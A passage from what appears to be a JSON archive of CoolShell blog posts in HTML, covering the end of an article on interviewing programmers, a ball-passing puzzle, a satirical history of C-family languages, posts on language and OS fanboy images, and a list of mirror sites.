rel=\"bookmark\">程序员需要具备的基本技能</a>》）</li>\n</ul>\n<p>有人会说，应聘者的经历可以被他自己编出来的，他可以把一些不是他做的事说成是他做的。是的，的确是有这种可能。不过，不要忘了，一个谎言背后需要用更多的谎言来圆谎的，所以，你不必担心这个问题，只要你在应聘者的描述过程中逐步求精，细化问题，你会知道应聘者是否是在编故事的。</p>\n<p>千万记住下面几点：</p>\n<ul>\n<li>谈话风格要随意和自然，不要正式。</li>\n<li>在了解应聘者以前做过的事的时候，不要太投入了。因为招聘方也是技术人员，所以有时候，招聘者自己会因为应聘者所做的项目中的技术太过迷人而被吸引了。</li>\n<li>要注意引导应聘人。相信我，应聘的程序员十个人有八个人讲不清楚以前做的是什么。因为他们直接跳过了项目背景和要解决什么样的问题，而直接进入具体实现。</li>\n<li>不要一问一答，应该多让应聘者说，这样才能多全方位了解一个人。</li>\n<li>了解一个人的过去，了解一个人做过的事情，比其会做什么更重要。</li>\n<li>了解一个人的性格，想法，思维和行为，比了解其技术技能更重要。</li>\n<li>沟通能力，表达能力，语言组织能力，理解能力，等方面的能力，关系到了是否能和别人一起工作。</li>\n<li>基础知识比知识的点滴要重要得多。你可能不知道其个C++的关键字，但你应该要知道C++的继承和多态。</li>\n<li>技术技能固然很重要，但比其更重要的是这个人获取知识的能力，学习能力是在计算机这样变化飞快行业中必需具备的。</li>\n<li>是否可以进行培养，比掌握的技能更重要。</li>\n</ul>\n<p><strong>四、实际参与？？</strong>这一步可能是很不好实施的。因为，这需要一些应聘者付出一定的时间，如果是毕业生，那没有问题，先让他来实习一段时间。但如果别人有工作，就不好了。也许你会说，这就是试用期的用处了。不过，我个人觉得，你得要尊重应聘者，人家把那边的工作辞了，来你这边工作，三个月试用期间，如果没有什么原则上的问题，你作为一个招聘方又反悔了，这样做很是相当的不好。如果发现这样的事，只能是招聘者自己的问题。</p>\n<p>在面试过程中，一些招聘者会让应聘者们一起做个游戏，或是搞个辩论比赛，或是现场组个团队干个简单的事情，有的甚至让应聘者请一天假到自己的公司里来和自己的团队一同工作一天，并要完成某个事情（甚至给其设置上deadline），并通过这些来考量应聘者的实际参与能力。</p>\n<p>是的，如果没有一起工作过，没有一些实际的事情发生，单靠几个小时的面试很难了解一个人的。设置上这些面试的环节，在最短的时间内来了解应聘者的一切，对于招聘方来说无可厚非。而且有的时候也能得到不错的效果。在这里，我只提一点，有时候这样的周期拉得很长，让应聘者付出了很多，反尔会让应聘者产生反感和厌烦情绪，从某种意义上来说，这实在是对应聘者的不尊重。</p>\n<p>对于这一点，我一直持疑问的态度，所以，我在其后打了两个问号。老实说，对于实际参与这一环节，我个人的意见是适可而止，因为时间太短了，无论你怎么做你都无法了解完整。即然无法了解完整，那就获取你最需要的吧，就是本文开头的那三个问题，以及上面所述的“第三点”（了解应聘者的以往经历）。</p>\n<p>也许这个文章中有一些你不同意的观点，没问题，欢迎批评，如果你有更好的做法，我也想听听，不妨在这里留个言，如果不想留也可以email给我。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8138.html\"><img alt=\"为什么我反对纯算法面试题\" height=\"150\" src=\"../wp-content/uploads/2012/08/250px-Sheldon_Cooper-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8138.html\">为什么我反对纯算法面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4976.html\"><img alt=\"给程序员新手的一些建议\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4976.html\">给程序员新手的一些建议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4506.html\"><img alt=\"再谈“我是怎么招聘程序员的”（上）\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4506.html\">再谈“我是怎么招聘程序员的”（上）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4490.html\"><img alt=\"再谈“我是怎么招聘程序员的”（下）\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4490.html\">再谈“我是怎么招聘程序员的”（下）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3345.html\"><img alt=\"140个Google的面试题\" height=\"150\" src=\"../wp-content/uploads/2010/12/googlequestion-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3345.html\">140个Google的面试题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1870.html\">我是怎么招聘程序员的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-12-20 【问题】传球问题.html",
    "content": "<html><body><p>有a,b,c,d,四个人<br/>\n互相传球<br/>\n从a开始传出<br/>\n经过5次传球后<br/>\n球回到a的手里</p>\n<p>算总共有多少种传球的方法<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5537.html\"><img alt=\"一些文章资源和趣闻\" height=\"150\" src=\"../wp-content/uploads/2011/11/stackparts.com_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2053.html\"><img alt=\"最为奇怪的程序语言的特性\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2053.html\">最为奇怪的程序语言的特性</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5444.html\"><img alt=\"千万不要把 bool 设计成函数参数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5444.html\">千万不要把 bool 设计成函数参数</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5826.html\"><img alt=\"千万别用MongoDB？真的吗？！\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5826.html\">千万别用MongoDB？真的吗？！</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4334.html\"><img alt=\"Eclipse开发Android应用程序入门:重装上阵\" height=\"150\" src=\"../wp-content/uploads/2011/04/1_starting_point_full-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4334.html\">Eclipse开发Android应用程序入门:重装上阵</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1265.html\"><img alt=\"恢复Ext3下被删除的文件\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1265.html\">恢复Ext3下被删除的文件</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1976.html\">【问题】传球问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-12-21 C语言的演变史.html",
    "content": "<html><body><p>1972 – C语言的先驱——B语言，被贝尔实验室开发。B语言是一个很快速的，容易维护的，而且对于从系统到应用开发是很好用的。设计这门语言的整个团队被马上解雇了，因为他们干了一件和电话通讯不相干的事情。最后这个项目转给了 Dennis Ritchie。他把这个语言变得不容易理解，很难维护，而且，只能用于系统方面的编程。而且，他还设计了一个指针系统，保让每一个程序都超过500行，并可以使用操作系统的指针。</p>\n<p>1982 – 大家发现有97% 的C程序调用产生了“缓冲区溢出”问题。于是，C 程序员们开始意识到，就算是不必要也必需要初始化变量。然而，强制性的变量初始化这个明智的决定，很难影响了当时已经写成了的97%的C程序，所以结果什么也没有发生。 </p>\n<p>1984 – 操作系统出现了“错误指针”的问题数量开始戏剧性地增涨。 </p>\n<p>1985 – 一系列的让C语言有面向对象能力的解决方法出现了，一个叫“C With Classes”正准备商业化。然而，大家觉得名字“C With Classes”太清楚和容易被理解了，所以，最终的商业版本叫做—— C++。</p>\n<p><span id=\"more-1984\"></span></p>\n<p>1986 – C语言成为最流行的语句，其被很多业界分析师推荐于业务应用。他们向全世界宣称——由C语言写成的应用将可以运行在很多不同的平台上的，是跨平台的。目前看来，这些众多的分析者在当时有可能是因为某种迷幻而导致其大脑被所蛊惑了。</p>\n<p>1988 – 业界的这些分析家们因为“摇头丸”吃完了。所以，在他们的幻觉过去以后，他们注意到，使用C语言来开发业务应用会增加5倍以上的开发时间，并且程序也不具备可移植性。他们开始停止向大众推荐使用C语言来开发业务应用了，只能很少一部服用可卡因的人开始转向推荐大众使用C++语言写业务应用程序，他们说，“那是面向对象的，所以，代码是很容易重用的”。</p>\n<p>1990 – 在这个时候，所有的C编译器都转到了C++编译器上。但是，因为大多数的C++程序员并没有使用C++中那些面向对象的语言特性。也就是说，在实际上来说，那种浮肿的代码结构加上操作系统指针的代码被一种叫面向对象的编译器编译。</p>\n<p>1990 – 在雇佣了一些转向“吸胶毒”的分析师后，Sun决定要创造一种叫Oak的语言，这种语言主要用于电视的机顶盒。因为当时几乎所有的程序员的DNA中都有C语的基因，所以，这个语言向C和C++中大量地借鉴了很多它们的语法和编程思路。然而，机顶盒上没有操作系统，也就不存在指针，所以，他们把指针从这门语言里给去掉了。</p>\n<p>1994 – Sun公司里的某个人意识到为一个机顶盒开发一个语言是多么愚蠢的事情。于是，这个语言更名为Java，并且为其注入了“Internet”的特征，从而让其成为一个真正可以被移植的语言。其市场营销上相当成功，而那时有3%的业内人士开始明白什么是Internet，同时，那些精神不正常的分析师们还在不停地嗑药并向大众鼓吹他们的神话——“跨平台移植性”。</p>\n<p>1995 – Sun 向业界的分析师们提供了免费蘑菇迷魂汤，导致那些分析师在喝下汤后，马上开始写下“Java是一门未来的可移植的和Ineternet高度可集成的语言”。</p>\n<p>1996 中 – 17,468,972 篇文章出现，描述了Java是怎么一门未来的语言。这也是Java Applet开始进入Web页的时代。</p>\n<p>1996 末– 程序员开始使用Java applet创建他们的Web页面，然后他们开始因为挫折和沮丧开始集体自杀。此时，那些分析师开始增大蘑菇迷魂汤的剂量。</p>\n<p>1997 – 因为接受了产生幻觉分析师的建议，Corel 决定重写他们的应用，包括 WordPerfect，当然，是用Java写的。最终的结果是，这是迄今为止比“打字机”还慢的字处理软件。</p>\n<p>1998 –  在意识到applet已在快速枯萎，Sun又一次的重新配置了Java，这次，他们叫Severlet，这是一个服务器的程序语言。这个设计在抄袭了Microsoft Transaction Server ，并且，他们说服所有人这个设计是他们创造的。</p>\n<p>1999 – 业内那些喝多了的分析师们用一种咆哮的方式向大众介绍了Java 2 Enterprise Edition 。 21,499,512 文章被写出来。但是，实际上并没有人使用，因为J2EE太不成熟，而又太贵了。</p>\n<p>2000 – J2EE 最终还是运转起来了（一点点）。而且，所有的Java卖主们开始准备向其砸钱，与此同时，Microsoft 宣布了.NET，这是一个包括了所有的J2EE功能但没那么贵的产品。实际上来说， Microsoft 决定让Windows的用户免费使用.NET 。 Scott McNealy 很愤怒，其对Microsoft开展了相关的法律诉讼。</p>\n<p>.NET 包括了最新的C家族语言，叫C#，发音是“C-pound”，继承最家族的传统，使用着一个愚蠢的名字。</p>\n<p>2001 – Microsoft 的市场部意识到，在市面上没有人谈论他们的产品，他们找了其中一个程序员一起吃中饭，才发现，他们把C#叫做 “C sharp”。</p>\n<p>2002 – C# 成为 Microsoft .NET的一部分。 C++ 的开发者在 Microsoft 平台上为 “managed code”而欢呼雀跃，也就是说，他们最终得到了一个内存自动管理的功能，这一功能正是1991年的Visual Basic 及1995年的Java所创建的 。</p>\n<p><em>copyright (C) 1996-2006 by Billy S. Hollis, originally posted on dotnetmasters.com 13 January 2006</em></p>\n<p> 文章：<a href=\"http://dotnetmasters.com/historyofcfamily.htm\" target=\"_blank\">来源</a></p>\n<p><em> </em><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7992.html\"><img alt=\"C++的坑真的多吗？\" height=\"150\" src=\"../wp-content/uploads/2012/08/cpp_small-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7992.html\">C++的坑真的多吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5576.html\"><img alt=\"那些曾伴我走过编程之路的软件\" height=\"150\" src=\"../wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5576.html\">那些曾伴我走过编程之路的软件</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4990.html\"><img alt=\"程序员技术练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/07/programmer-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1984.html\">C语言的演变史</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-12-24 程序员眼中的编程语言.html",
    "content": "<html><body><p>下图是一个搞笑的图片——程序员眼中的编程语言。</p>\n<ul>\n<li>图片的横轴是编程语言。</li>\n<li>纵轴是各语言的程序员、粉丝、信徒。</li>\n<li>中间的各个小图片则是，粉丝眼中的编程语言的形象。</li>\n</ul>\n<p>比如说，</p>\n<ul>\n<li>第一行第一列，是Java程序员看Java语言的样子，一幢现代化的大厦。</li>\n<li>第一行第二列，是Java程序员看C语言，一个年老过时的骨灰级老头。</li>\n<li>当然，C程序员看Java语言也比较搞，见第二行第一列。呵呵。</li>\n</ul>\n<p>其它的大家自己看吧。还有另外一个关于操作系统的《<a href=\"https://coolshell.cn/articles/1998.html\" rel=\"bookmark\">粉丝眼中的操作系统</a>》</p>\n<p style=\"text-align: center;\"><img alt=\"程序员眼中的编程语言\" class=\"alignnone size-full wp-image-1994\" height=\"420\" src=\"../wp-content/uploads/2009/12/language-fanboys.jpg\" title=\"程序员眼中的编程语言\" width=\"575\"/></p>\n<p> </p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/12/language-fanboys.jpg\"></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4990.html\"><img alt=\"程序员技术练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/07/programmer-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4758.html\"><img alt=\"如何写出无法维护的代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4758.html\">如何写出无法维护的代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4102.html\"><img alt=\"如何学好C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1391.html\"><img alt=\"编程真难啊\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1391.html\">编程真难啊</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1992.html\">程序员眼中的编程语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-12-24 粉丝眼中的操作系统.html",
    "content": "<html><body><p>在发布完《<a href=\"https://coolshell.cn/articles/1992.html\" rel=\"bookmark\">程序员眼中的编程语言</a>》一文后，发现网上还有一个关于操作系统的。如下所示。</p>\n<ul>\n<li>图片的横轴是三大操作系统。</li>\n<li>纵轴是各操作系统的粉丝和信徒。</li>\n<li>中间的各个小图片则是，粉丝眼中的操作系统的形象。</li>\n</ul>\n<p>关于操作系统，还有<a href=\"https://coolshell.cn/articles/1579.html\" target=\"_blank\">这一张图</a>也很有意思。</p>\n<p style=\"text-align: center;\"><img alt=\"粉丝眼中的操作系统\" class=\"alignnone size-full wp-image-1999\" height=\"430\" src=\"../wp-content/uploads/2009/12/operatingsystems-fanboys.jpg\" title=\"粉丝眼中的操作系统\" width=\"540\"/></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1579.html\"><img alt=\"一张关于操作系统的图\" height=\"150\" src=\"../wp-content/uploads/2009/10/operating-systems-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1579.html\">一张关于操作系统的图</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/105.html\"><img alt=\"操作系统图形界面发展史(1981-2009)\" height=\"150\" src=\"../wp-content/uploads/2009/03/19-windows-3-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/105.html\">操作系统图形界面发展史(1981-2009)</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5107.html\"><img alt=\"10大经典错误\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5107.html\">10大经典错误</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4102.html\"><img alt=\"如何学好C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4077.html\"><img alt=\"纯文本配置还是注册表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4077.html\">纯文本配置还是注册表</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1998.html\">粉丝眼中的操作系统</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-12-27 推荐几个镜像站点.html",
    "content": "<html><body><p>搜狐的：<a href=\"http://mirrors.sohu.com\" target=\"_blank\" title=\"http://mirrors.sohu.com\">http://mirrors.sohu.com</a></p>\n<p>网易的：<a href=\"http://mirrors.163.com\" target=\"_blank\" title=\"http://mirrors.163.com\">http://mirrors.163.com</a></p>\n<p>上海交通大学FTP：<a href=\"http://202.38.97.230/\" target=\"_blank\" title=\"http://202.38.97.230/\">http://202.38.97.230</a></p>\n<p>如果你是教育网的用户，上海交通大学FTP访问速度非常的快。</p>\n<p>:)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3161.html\"><img alt=\"AES加密算法动画演示\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3161.html\">AES加密算法动画演示</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1197.html\"><img alt=\"GPLv3的在开源社区中的占有量\" height=\"150\" src=\"../wp-content/uploads/2009/07/GPL-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1197.html\">GPLv3的在开源社区中的占有量</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3314.html\"><img alt=\"几个在线颜色选择器\" height=\"150\" src=\"../wp-content/uploads/2010/11/Color-Scheme-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3314.html\">几个在线颜色选择器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3489.html\"><img alt=\"Linux的cycle日历（你懂的）\" height=\"150\" src=\"../wp-content/uploads/2011/01/scr1_m-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3489.html\">Linux的cycle日历（你懂的）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1178.html\"><img alt=\"Internet 技术演变图\" height=\"150\" src=\"../wp-content/uploads/2009/07/Internet-150x150.jpg\" width=\"150\"/></a><a 